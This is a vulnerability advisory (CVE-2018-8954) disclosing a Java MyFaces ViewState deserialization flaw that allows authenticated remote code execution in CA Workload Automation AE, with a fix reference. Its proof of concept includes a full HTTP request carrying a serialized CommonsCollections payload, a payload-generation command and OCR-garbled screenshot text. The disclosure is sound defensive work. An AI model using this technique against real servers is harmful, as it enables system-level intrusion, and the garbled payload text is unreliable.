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Java MyFaces Deserialization Remote Code Execution (RCE) in CA Workload
Automation AE - Security Advisory - SOS-18-001

Release Date. 29-Mar-18
Last Update. -

Vendor Notification Date. 25-Oct-2017

Product. CA Workload Automation AE
Platform. Windows
Affected versions. 11.3.5 and possibly others
Severity Rating. High
Impact. System Access
Attack Vector. Remote with authentication
Solution Status. CAWCC Release 11.4 SP6
CVE reference. CVE-2018-8954

Details.

CA Workload Automation AE (AutoSys Edition) is a workload automation tool supplied
by CA Technologies. Apache MyFaces is an implementation of Java Server Faces
(JSF). CA Workload Automation AE uses MyFaces client-side ViewState and has
disabled the default encryption (i.e. org.apache.myfaces.USE ENCRYPTION). As
a result, the attacker can send a malicious serialised payload in the ViewState back to
the server. MyFaces will try to deserialise the provided ViewState and the payload will
be executed even before the deserialisation of the ViewState has ended. This allows
an authenticated remote attacker to conduct remote code execution attacks and obtain
system level access.

All URLs that accept javax.faces.ViewState parameter are vulnerable to this
issue.
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Proof of Concept.

In the following request the javax.faces.ViewState parameter value has been
replaced with a serialised Java object that will run the command cmd /k echo "Java
Deserialisation PoC" on the host running the CA Workload Automation AE.

Sample request:

POST /ecli/pages/applicationFrame.faces HTTP/1.1

Host: {redacted}:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0)
Gecko/20100101 Firefox/56.0

Accept: */*

Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Tr-XHR-Message: true

Referer:
http://{redacted}:8080/ecli/pages/applicationFrame.faces?randomId=-
1306698183

Content-Length: 3129

Cookie: JSESSIONID=885715F0A6314C8ACT7582001AE06E130;
wccDashboard=%7B%22state%$22%3A%7B%$22portletIds$22%3A%5B%5D%7D%7D;
WCC-
ASID=77C85173B3896B7328982049AD6F1EOA8CBF8089D2F481FRB323310EC84C96
45 . {redacted}

Connection: close

command line app button refresh=&command line app button refresh my
commands=&command line app side table mycommands:rangeStart=0&comma
nd line app button refresh globalcommands=&command line app side ta
ble globalcommands:rangeStart=0&command line app button command exe
cute=&command line app button command reset=&command line app input
_servers=&command line app combobox command input=&command line app
_combobox command input::hidden=false&command line app button impor
t=&command line app button export=&command line app button command
import export reset=&command line app object type radio=0&command 1
ine app input object name=&command line app input file name=&comman
d line app input autosys server=&command line app button autosys se
rver set=&command line app checkbox fixed width font output=t&comma
nd line app checkbox fixed width font errors=té&org.apache.myfaces.t
rinidad. faces.FORM=command line app form& noJavaScript=false&javax.
faces.ViewState=H4sIATI4I8FkC/61XW2wUVR]%$2bz27bbcuW3ugFEFgEPKOWA7S14
BKgtBYWF21sKcR9gKezp92BuSxnzpZZEjHxwRAfMJIIQX/TFywNowosaEk2IDyagRhMT
DcZEH/TJSwya%2bOL1PzPT3aGtdItssjNn//P£/%2b//z9mrP001w2GXU7AUZzgYNpgm
FWpYtgNBtSxksLVPWrK15gqyPUyhgMn7j5R2PbrQtvRCCShrjJzCnGI6hRYI6AXVRpOk
VVgtANIRINJIOINQIYp5IgDZ3zCoNaMOGdRxkm7eeRYACDT IHUWKKCj icujwCJK15Nkot
93191tvJz5pGroVAZIGkhOwJaQ04FQXuCsNnYULABhtj81lnFJgnWodpmm2atuXg25CC
ulybNK$2bk6£fki%2bmHIcOn5V4tN16LSWGyaasLmROQHbOghCI9VIWogQolpEIdS59Rypml
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u%2bpY5PLaEzemCJIXU7ylCO6hbLhhTs%2bPjyT13nL1dhwBlo0EM7mOrtmeW5UuCByL
2cCYt8MNHZz29d9na9EANW8VigCwSQrDgZ/CWgdkMJITsxebByPXLnnlg9PnOASOhMp4 £
0006kJ3ZzkMOAVF4jNk1KXIpuiWYNyihuI6htAUwamLrg$2beGtEN3IDyx6vA/kgdTv
ke6VSwWkN99L/7%$2b30svEJI5EvGegWh/ kM5 91sxCpzOwQh%2blnJrjCHnkacksAnosQ
yDrIzyQvfjZgdeanG5jLtlEImd58TMzb6DnTgrfdSeP37CuXumNQkOKG1Z1K8ss8WRB
tmoKVk4KGZ3BRArpbgbgqd6eKgml2VnodzWQOZaBmUpMOy8bpTEP1pEVNdnelxgTXrRn
$80ZJuyDyBYE9mmdc6FJJe2g0101JLzT4Bz%2bYBmnoib9Wt 8 3MEDNQwhjSI51DVS2b
90/F1TO/5dQK65fvPv6ox/191i7YWwOReDgGAZHYEONHCDQS5]OvUMMCewGKeSAQOTIEdxg
MzBy5tM1W8nXr7z0re/7id0s0%2b3dIGLaFf3BIGIYya4NzC1lvPzM06nDKS0pHGMGR
MUlePvgFglcrpDoHVMFKbGgxyO0qJdh0yyBeMayGPfgzJCpP1l10bN85Ne/zOH5CDtPsD
BPO5kKkWOJANUiTnoEeBdacSAihhQQ73uYUCAdw4DgYUAdPn4 smVmU2zTKvL4 /$2bnnGlb
FgedeslCmpzdpawUS8ENi$2bLPMomvP1YPiH/r8zBOofdzWW9700BlsJvLm8fCzpQVa
Y6vD4sUFXd1lJIojgFkg8mh3gqgTuLgfrwgEAtySWDWQWRyYzC5wjeGARBJHAWQgsknjUA
8rYtBFoPc%2bAEVgYKUV4QUcrSZTB6cchLgm5jQRWOUNCI0u0%2b91295KNc 9pKgGFEFw
IY1YSES7dOMYBQ016£aU76TMe jBnCFj8JtAW1d3egFbMg7bYHs 9PAoKgc2amU20ZxJIM
y9mJo81aGGZOuBgqdUXuoFnbgGGEuUOwhs7Vo4TsNGcHBgDAS 2bNOM6 9XmmkD%2b famKD
aGbyfBBNpfTnO0XM4 fnb27dndu7e/v28AF7sHCCTS9%2bZIwkal4dExFr/C7BgghBt8x
OYuh1lgMhPPAZR4gKb4Lv6p73gFzzWBrwleMRFViJz7§PAI2wx7TvetcIg5JLCB/AblbT
5gr2eYMLfDAT1gg3avX0CHACIEqtx7£s01a4N1KY861JgBzylPf7/momofgnUoIVErYQ
OaLxuohe5S0JtxR3I1vgVRkn4f1Jad70L/yWuedG4vKCISEP79jdCM73rcisAmalkeg
JxCNyHv16UzbK08w9pi0BGDzhisrvQMO/uj/ss%$2b83DngznDoi02veDM2rLkmYVS1U
yINQQ2VaAKQ59/1i/rPabBUR9I8Tx6RyHCEndbjF22/1ngtClW2X1c0LgMKu4vl1zBFy8u
7SEr3b%2ble9K$2blfv3Pr06dI1lmuDNdplkchWc4UrptCI9f40bfX5vLE5COUCeHZzV8d
u33j0o/ZnvkDcjUC9zMWI9wclhbeHHGAOzjaybv7AQV/JuVp8NHNngXDTeErp8zjLO9Sy
Ty6IErPIvr%2brwgR80AAAS3d&source=mainServerSelector&state=&value=&c
ommand line app button server set=&event=autosubé&partial=true

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

P3P: CP="CAO PSA OUR"

Content-Type: text/xml;charset=utf-8
Content-Length: 250

Date: Wed, 18 Oct 2017 01:04:46 GMT
Connection: close

<?xml version="1.0" 2>

<?Tr-XHR-Response-Type ?>

<error status="500">InstantiateTransformer: Constructor threw an
exception

For more information, please see the server's error log for
an entry beginning with: Server Exception during PPR, #13</error>
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PoC Screenshots:
First, a serialised payload was created to run the following command:

cmd /k echo "Java Deserialization PoC"

ompress —encode CommonsCollections3 cmd /k echo "Java Deserialization PoC"

thon serial.p

tlizard@StLizard:~/Desktop$ p

tlizard@StLizard:~/Desktop$

Then, the javax.faces.ViewState was replaced with the above generated
payload and was sent to the server.
5

Burp Intruder Repeater Window Help

[ Target | Proxy | spider | scanner | intruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User options |

[l

Go Target: hutp:// 8080 | 4| 2

[ Raw | Params | Headers | Hex |
[
r
4
.
E
i

< [ 0 matches

| Raw | Headers | ex | xm |
]
s

InstantiateTransformer: Constructor threw an exception

for more information, ple r's error log for

an entry beginning with: during PP, #13 £
g

< 0 matches|
Done 434 bytes | 82 milli
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During the process, we have been monitoring the Task Manager on the host running
the CA Workload Automation AE. In the screenshots below, it can be seen that a new
cmd.exe process has been created.

Fle Optons View Hep
Acphcations  Processes | Services | Performance | Networking | Users |

| Image Name - [em ] user name [ Sesson 1D | Command Lne -
25 _server exe *32 1416 SYSTEM 0 D:\CAWORKLO~1\autosys bin\as_server.exe -A BIE
ComExec.exe 3664 SYSTEM 0o C:\Windows \COM\ComExec.exe
conhost.exe 1624 SYSTEM o V7'C: Windows \system 32\conhost. exe “126 180270 344323171 1245407421500 33280 1 - 109438 1984152402058 1- 140263 182842185248
conhost.exe 1688 SYSTEM 0 V7C: Windows system32\conhost. exe " 194343048413 14727035-1611413085-1121954412903300025125 3847829 1731728476- 2092212660
conhost.exe 170 SYSTEM 0 V7'C: Windows \system32\conhost. exe "413412241284176678 149395 181-496 79882012486 1097211345 198772028 138321 177686 7948
conhost.exe e SYSTEM 0 V7'C: Windows \system32\conhost. exe *- 1174222700 1895249644- 164093 1641-253305327- 159212283110 7478521 552 73487019692
conhost.exe 2% SYSTEM 0 v? indows \system 12'conhost. exe 65219316~ 148075 1454-9820 78746~ 204521 787971136 1998- 160 782337664648, 1088622
corhost.exe 3660 SYSTEM 0 P7\C: Windows \system32'\conhost. exe “20028430531810246 16 110363944101 7207434 1- 2468048 35- 106266 279 7- 1798732500231 779112
CSAMPmU exe *32 1756 SYSTEM ] D1 \CASC \Csam SockAdapter \bin\csampmux.exe”
carss.exe 42 SYSTEM o %SystemRoot% system 12\carss.exe ObjectOrectory = Windows SharecSection = 1024, 20480, 768 Windows «On SubSystemType =Windows ServerDll wbasesrv, 1 Server!
corss.exe %20  SYSTEM 2 %SystemRoot s ystem32\csrss. exe CbjectDrectory = Windows SharedSecton = 1024, 20480, 768 Windows =On SubSystemType =Windows ServerOl=basesrv, 1 Servert
corss.exe %648 SYSTEM 1 %SystemRoot % system32\csrss. exe ObjectDrectory = Windows SharedSecbon = 1024, 20480, 763 Windows =On SubSystemType =Windows ServerOf =basesrv, 1 Servert
cybAgent.exe *12 108 SYSTEM 0 D:\CAWorkdoad Automaton AE\SystemAgent\WA_AGENT\cybAgent.exe” service
dwm.exe 8044 1 C:Windows \system 32w exe”
dxserver.exe "2 1952 LOCAL SERVICE 0 C: Program Fies (x36)\CA\Drectory rserver bin'iserver.exe”
event_demon.exe *32 400 SYSTEM [ ] D:\CAWORKLO~ 1 \autosys bin'event_demon.exe -A B8 =
eventsysd.exe *32 668 SYSTEM 0 0:\CAWORKLO ~ 1 \autosys bin\eventsysd.exe -A BIB
explorer exe 4212 ngadmn 1 C:\Windows Explorer EXE
igateway.exe *32 972 SYSTEM 0 D:\CA\SCTechnlogy Ygateway.exe
java.exe 1932 SYSTEM 0 D CAWORKLO~ 1 UREG4_WA\L6.0_33\bin\java™ -Djava.utl.logging. config. fle=D: \CAWORKLO~1 \autouser BI3\webserver onfogoing. properties -Djava.ut_loggin
java.exe 3082 SYSTEM o “.\.yebn\eva” Djava.endorsed.drs=.. commonjendorsed Ocataine.base=.. Dcataiing. home=.. Djava. 0. trpde =, temp Djave.awt headiess strue -Djavax.net.
java.exe *32 1784 SYSTEM 0 D: CAWORKLO~ 1URE_WA\L6.0_33Pbin\java” -Djava.utl.logging. config. fle=D: \CAWORKLO~ 1 \autosys/s0apWS confloggng. proper ties -Djava.utl.logging. manages
Rava.exe *32 1980 SYSTEM 0 "\ e _32bnava® Djva.endorsed.drs =, kommon/endorsed Dcatalng base=.. Ocatalna.home =.. Djava.0.tmpdr =, temp Djava.awt.headiess =true Djavax.
Ic98Service.exe *32 182 SYSTEM 0 ‘D1 Program Fies (x86)\CA \SharedComponents(CA_LIC|ic98Service.exe”
LogonUlexe 5160  SYSTEM 2 LogontiLexe” /flags:0x0
LogWathT.exe *32 2116 SYSTEM 0 "D: Program Fies (x35)\CA \SharedComponents'(CA_LICLogWathT.exe”
bass exe 584 SYSTEM 0 C:\Windows \system32Ysass exe
lsm_exe 92 SYSTEM o indows \system32sm.exe
msdtc. exe 1924 NETWORK SERVICE 0 C:Windows \System32ymsdtc exe
MsMoEng, exe 84 SYSTEM 0 C: Program Fies\Mcrosoft Security Clent\MeMpEng. exe”
msseces.exe ss7n2 1 °C:Program Fies\Mcrosoft Security Clentmsseces.exe” hide sunkey
rdodp. exe 1 rdpdo

1 C: Windows \COMSCotfication.exe” -

Figure 1: Processes running on the host before sending the payload
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Fle Optons View Help

Acpications  Processes | Services | Performance | Networking | Users |
Image Name _~ [P [ user Name [ sessonid [ -
25 _server exe *32 1416 SYSTEM 0 0:\CAWORKLO~ 1 \autosys bin'\as._server.exe -A BIE
ComExec.exe %64 SYSTEM 0 C:W \
conhost.exe 1624 SUSTEM 0 ¢
conhost.exe 1688 ETEM 0 7
conhost.exe 1% SYSTEM o 7
conhost.exe 1848 SYSTEM 0 s
conhost.exe 98 SrSTEM 0 2l s \ystem32
conhost.exe 3660 SYSTEM o 27'C: Windows \system 32 texe “20 810246 16 110363944 1017207434 1- 246304835~ 106 2662797 17987
corhost.exe 4588 SYSTEM 0 P7IC: Windows \system32\conhost.exe "B088607141020778322296657741 1436096441 16569296 18721760290 13247156 15-1253
CSAMPrUX.exe *32 175 SYSTEM ) D1 ICAISC Csam SockAdapter bin\csampmux
35 exe 423 SYSTEM 0 ndows SharecSecton = 1024, 20480, 768 Windows =On SubSystemType »Windows ServerDil wbasesrv, | Serverl
cwres exe %620  SYSTEM 2 %Sy 8 s ex + ndons Sharecsecton 20480, 768 Windows =On SubSystemType = ServerDll ~basesrv, 1 Servert
corss.exe %48 SYSTEM 1 . v 2 xe ObjectDrectory = WWindows SharecSecton = 1024, 20480, 768 Windows =On SubSystemType =Windows ServerOl=basesrv, 1 Servert
cybAgent.exe *X 108 SYSTEM 0 0 \WA_AGENT\cybAgent.exe” -service
dwm_exe 6044 " x -
dxserver.exe *3; 1952 LOCAL SERVICE 0 Drectory\dxserver bin\dserver exe”
event_demon.exe 4400  SYSTEM 0 Vs 1\utosys bn'event_demon.exe -A BIB
eventsysd.exe *32 %68 SYSTEM 0 WORKLO~1\autosys bin\eventsysd.exe -A BI8
explorer exe 1 C: Windows \Explorer EXE
igateway.exe *32 ) D:\CAISC VTechnology Wgateway exe
pra.exe ) D:\CAWORKLO~ 1URE64_WA\L6.0_33bin\iava" Djava.utl.Joggng.config. fle =Dz \CAWORKLO~1 \autouser 818\ webserver \confogging. propertes -Djava.utl.loggin
java.exe 0 ".\.\rebin\iava" Djava.endorsed.drs=.. ommonjendorsed Dcataina base=.. Dcataing homes. . Djava. 0. tnodr =.. temp Djava.awt.headiess =true -Djavax.net.
fava.exe "2 0 D1 \CAWORKLO~1\RE_WA\L6.0_33Bin\java" Djava.utl.loggng. confi. fle=D: \CAWORKLO~ 1 \utosys /soapWs confloggng.oroper ties -Djova.uth.loggng.menages
Jva.exe 32 0 "\ e 32 " Djava.endorsed.drs =, fcommon/endorsed Ocataling base .. Dcatalns home ... Djava.o. tmpde =.. temp Djava.awt.headess strue Djavax
Ic98Service.exe *32 us2  SysTEM 0 D: Progr )\CA\SharedComponents'CA_LIC\c38Service. exe”
LogoniiTexe 5160  SYSTEM ogoniiLexe” /fags:0x0
LOGWaNT. exe 2116 SYSTEM 0 )\CA\SharedComponents|CA_LICYLogWathT.exe”
lsass.exe S84 SYSTEM 0
lam.exe %92 SYSTEM 0
medtc exe 924  NETWORK SERVICE 0 c
MaMptng 863 SYSTEM 0 C: Program Fles\Mcrosoft Security Clent\MsMpEng exe”
msseces.exe ss72 1 “C:\Program Fles\Mcrosoft Secunty Chentimsseces. exe” -hde unkey o
il o | of
¥ Show processes from sl users £nd Process

Figure 2: New cmd.exe process has been created on the host after sending the payload

Solution.

Apply patch from CA WCC Release 11.4 SP6 (https://docops.ca.com/ca-workload-
automation-ae/11-4-2/en/release-notes/ca-wcc-release-notes/ca-wcc-release-11-4-
sp6) released on 8 March 2018.

Additional information is available at:

https://support.ca.com/us/product-content/recommended-reading/security-
notices/ca20180329-01--security-notice-for-ca-workload-automation-ae.html

Discovered by.

Hamed Merati and Kacper Nowak from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management
solutions. Our team has expert skills in assessment and assurance, strategy and
architecture, and deployment through to ongoing management. We are Australia’s
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premier application penetration testing firm and trusted IT security advisor to many of
the country’s largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444

F: +61 (0)2 9290 4455

W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-18-001.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php
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